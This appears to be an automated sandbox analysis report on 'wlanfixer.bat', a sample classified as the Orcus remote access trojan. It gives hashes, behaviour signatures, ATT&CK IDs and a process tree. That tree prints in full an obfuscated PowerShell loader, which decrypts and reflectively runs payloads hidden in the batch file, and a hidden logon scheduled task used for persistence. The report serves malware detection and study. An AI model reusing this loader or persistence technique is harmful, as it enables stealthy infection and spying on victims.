orcus | 31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
23/04/2024, 13:12

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General

Target

wlanfixer.bat
Size

3.5MB
MD5

45730c9d81cdc2677ea2bd082eb79edb
SHA1

7ece7b975ab6506d83dac94f685e2cedbe56dd6b
SHA256

31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4
SHA512

d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687
SSDEEP

49152:mR8s3zr/pxAN80OHguszxrEC/agxlnUrLvlKNNwI:d

Score

10^/10

orcus rat spyware stealer

Malware Config

Signatures

Orcus
Orcus is a Remote Access Trojan that is being sold on underground forums.
rat spyware stealer orcus

Orcurs Rat Executable 1 IoCs

resource	yara_rule
behavioral2/memory/4748-54-0x00000121FE090000-0x00000121FE38A000-memory.dmp	orcus

Blocklisted process makes network request 11 IoCs

flow	pid	Process
34	4748	powershell.exe
48	4748	powershell.exe
62	4748	powershell.exe
63	4748	powershell.exe
64	4748	powershell.exe
76	4748	powershell.exe
78	4748	powershell.exe
82	4748	powershell.exe
93	4748	powershell.exe
94	4748	powershell.exe
95	4748	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-355664440-2199602304-1223909400-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4228	powershell.exe
4228	powershell.exe
1884	powershell.exe
1884	powershell.exe
4748	powershell.exe
4748	powershell.exe
4748	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4228	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeIncreaseQuotaPrivilege	1884	powershell.exe
Token: SeSecurityPrivilege	1884	powershell.exe
Token: SeTakeOwnershipPrivilege	1884	powershell.exe
Token: SeLoadDriverPrivilege	1884	powershell.exe
Token: SeSystemProfilePrivilege	1884	powershell.exe
Token: SeSystemtimePrivilege	1884	powershell.exe
Token: SeProfSingleProcessPrivilege	1884	powershell.exe
Token: SeIncBasePriorityPrivilege	1884	powershell.exe
Token: SeCreatePagefilePrivilege	1884	powershell.exe
Token: SeBackupPrivilege	1884	powershell.exe
Token: SeRestorePrivilege	1884	powershell.exe
Token: SeShutdownPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeSystemEnvironmentPrivilege	1884	powershell.exe
Token: SeRemoteShutdownPrivilege	1884	powershell.exe
Token: SeUndockPrivilege	1884	powershell.exe
Token: SeManageVolumePrivilege	1884	powershell.exe
Token: 33	1884	powershell.exe
Token: 34	1884	powershell.exe
Token: 35	1884	powershell.exe
Token: 36	1884	powershell.exe
Token: SeIncreaseQuotaPrivilege	1884	powershell.exe
Token: SeSecurityPrivilege	1884	powershell.exe
Token: SeTakeOwnershipPrivilege	1884	powershell.exe
Token: SeLoadDriverPrivilege	1884	powershell.exe
Token: SeSystemProfilePrivilege	1884	powershell.exe
Token: SeSystemtimePrivilege	1884	powershell.exe
Token: SeProfSingleProcessPrivilege	1884	powershell.exe
Token: SeIncBasePriorityPrivilege	1884	powershell.exe
Token: SeCreatePagefilePrivilege	1884	powershell.exe
Token: SeBackupPrivilege	1884	powershell.exe
Token: SeRestorePrivilege	1884	powershell.exe
Token: SeShutdownPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeSystemEnvironmentPrivilege	1884	powershell.exe
Token: SeRemoteShutdownPrivilege	1884	powershell.exe
Token: SeUndockPrivilege	1884	powershell.exe
Token: SeManageVolumePrivilege	1884	powershell.exe
Token: 33	1884	powershell.exe
Token: 34	1884	powershell.exe
Token: 35	1884	powershell.exe
Token: 36	1884	powershell.exe
Token: SeIncreaseQuotaPrivilege	1884	powershell.exe
Token: SeSecurityPrivilege	1884	powershell.exe
Token: SeTakeOwnershipPrivilege	1884	powershell.exe
Token: SeLoadDriverPrivilege	1884	powershell.exe
Token: SeSystemProfilePrivilege	1884	powershell.exe
Token: SeSystemtimePrivilege	1884	powershell.exe
Token: SeProfSingleProcessPrivilege	1884	powershell.exe
Token: SeIncBasePriorityPrivilege	1884	powershell.exe
Token: SeCreatePagefilePrivilege	1884	powershell.exe
Token: SeBackupPrivilege	1884	powershell.exe
Token: SeRestorePrivilege	1884	powershell.exe
Token: SeShutdownPrivilege	1884	powershell.exe
Token: SeDebugPrivilege	1884	powershell.exe
Token: SeSystemEnvironmentPrivilege	1884	powershell.exe
Token: SeRemoteShutdownPrivilege	1884	powershell.exe
Token: SeUndockPrivilege	1884	powershell.exe
Token: SeManageVolumePrivilege	1884	powershell.exe
Token: 33	1884	powershell.exe
Token: 34	1884	powershell.exe
Token: 35	1884	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4748	powershell.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
4748	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 4228	1432	cmd.exe	91
PID 1432 wrote to memory of 4228	1432	cmd.exe	91
PID 4228 wrote to memory of 1884	4228	powershell.exe	92
PID 4228 wrote to memory of 1884	4228	powershell.exe	92
PID 4228 wrote to memory of 3608	4228	powershell.exe	95
PID 4228 wrote to memory of 3608	4228	powershell.exe	95
PID 3608 wrote to memory of 3536	3608	WScript.exe	96
PID 3608 wrote to memory of 3536	3608	WScript.exe	96
PID 3536 wrote to memory of 4748	3536	cmd.exe	98
PID 3536 wrote to memory of 4748	3536	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Local\Temp\wlanfixer.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4228
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_964_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_964.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1884
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_964.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3608
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_964.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3536
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RoF8A1JenCTYvN5F1s7vRkzErCsX+lTeTh7sYe5+YqQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p+fhmC+G5ORMSHe10ZC4cg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $CViub=New-Object System.IO.MemoryStream(,$param_var); $bMvnM=New-Object System.IO.MemoryStream; $IwWYG=New-Object System.IO.Compression.GZipStream($CViub, [IO.Compression.CompressionMode]::Decompress); $IwWYG.CopyTo($bMvnM); $IwWYG.Dispose(); $CViub.Dispose(); $bMvnM.Dispose(); $bMvnM.ToArray();}function execute_function($param_var,$param2_var){ $vQMJY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $GYRaA=$vQMJY.EntryPoint; $GYRaA.Invoke($null, $param2_var);}$uwemL = 'C:\Users\Admin\AppData\Roaming\startup_str_964.bat';$host.UI.RawUI.WindowTitle = $uwemL;$WQdbL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($uwemL).Split([Environment]::NewLine);foreach ($CKiFo in $WQdbL) { if ($CKiFo.StartsWith(':: ')) { $vOqbs=$CKiFo.Substring(3); break; }}$payloads_var=[string[]]$vOqbs.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:4748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
ff2ebc63009127bf2c74f18dc727774e

SHA1
603a245252097e9b8d6823e08a76361ba94f7720

SHA256
5048a68ea6a51a2a93fba28d043dbcc8ae067225e4e1b9569a74caac617e9a42

SHA512
15b4baf594f91eba3ad7d390859140220da191bfc9de2eeeca5455a643ce5b19cd88b221e354d6a577df799564cc73285f2418108d2b850630196053ac53007b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hap2nwpq.b2j.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_964.bat

Filesize
3.5MB

MD5
45730c9d81cdc2677ea2bd082eb79edb

SHA1
7ece7b975ab6506d83dac94f685e2cedbe56dd6b

SHA256
31f17bf44fd2ce3fb0fde898d5bea0c35d18c82d3e2e9fcdae3cb8cd9f9fffb4

SHA512
d4504b96971c71e38207b56ada95f5e78f8536aaa88a3cbeebaa16627ff548f620672c0d4c61e74707fdc2662ec99584b5dc8d6e3fa1b7056f9595531422b687

Download Submit
C:\Users\Admin\AppData\Roaming\startup_str_964.vbs

Filesize
115B

MD5
e2839c6e276e0e1e65cd343d3afd8423

SHA1
853ffa8a050c4b9c608dd0f85ad30fdf15b3ac5c

SHA256
df5ccd14db28ca84f195d87231dfe9ebead2ee1d30142691ef6973310bdd4056

SHA512
039510ae8794cb33dfedf7197adbbce4ece3411cdea1094261df9f84ae05a4143dbbbe993ab9084fb353e4f90d756704e58e114d1c110f7b9d394ebc4bc80874

Download Submit
memory/1884-16-0x00007FFBD8700000-0x00007FFBD91C1000-memory.dmp

Filesize
10.8MB

Download
memory/1884-18-0x00000124C0640000-0x00000124C0650000-memory.dmp

Filesize
64KB

Download
memory/1884-17-0x00000124C0640000-0x00000124C0650000-memory.dmp

Filesize
64KB

Download
memory/1884-28-0x00000124C0640000-0x00000124C0650000-memory.dmp

Filesize
64KB

Download
memory/1884-31-0x00007FFBD8700000-0x00007FFBD91C1000-memory.dmp

Filesize
10.8MB

Download
memory/4228-14-0x0000029E62090000-0x0000029E62338000-memory.dmp

Filesize
2.7MB

Download
memory/4228-0-0x0000029E57C70000-0x0000029E57C92000-memory.dmp

Filesize
136KB

Download
memory/4228-13-0x0000029E3F890000-0x0000029E3F898000-memory.dmp

Filesize
32KB

Download
memory/4228-12-0x0000029E57D40000-0x0000029E57D50000-memory.dmp

Filesize
64KB

Download
memory/4228-11-0x0000029E57D40000-0x0000029E57D50000-memory.dmp

Filesize
64KB

Download
memory/4228-10-0x00007FFBD8700000-0x00007FFBD91C1000-memory.dmp

Filesize
10.8MB

Download
memory/4228-53-0x00007FFBD8700000-0x00007FFBD91C1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-41-0x00000121FB890000-0x00000121FB8A0000-memory.dmp

Filesize
64KB

Download
memory/4748-58-0x00000121FDC80000-0x00000121FDC98000-memory.dmp

Filesize
96KB

Download
memory/4748-40-0x00007FFBD8700000-0x00007FFBD91C1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-54-0x00000121FE090000-0x00000121FE38A000-memory.dmp

Filesize
3.0MB

Download
memory/4748-56-0x00000121FDC40000-0x00000121FDC4E000-memory.dmp

Filesize
56KB

Download
memory/4748-55-0x00000121FB5E0000-0x00000121FB63C000-memory.dmp

Filesize
368KB

Download
memory/4748-57-0x00000121FDC70000-0x00000121FDC82000-memory.dmp

Filesize
72KB

Download
memory/4748-42-0x00000121FB890000-0x00000121FB8A0000-memory.dmp

Filesize
64KB

Download
memory/4748-59-0x00000121FDC60000-0x00000121FDC70000-memory.dmp

Filesize
64KB

Download
memory/4748-60-0x00000121FB890000-0x00000121FB8A0000-memory.dmp

Filesize
64KB

Download
memory/4748-61-0x00007FFBD8700000-0x00007FFBD91C1000-memory.dmp

Filesize
10.8MB

Download
memory/4748-62-0x00000121FB890000-0x00000121FB8A0000-memory.dmp

Filesize
64KB

Download
memory/4748-63-0x00000121FB890000-0x00000121FB8A0000-memory.dmp

Filesize
64KB

Download
memory/4748-64-0x00000121FB890000-0x00000121FB8A0000-memory.dmp

Filesize
64KB

Download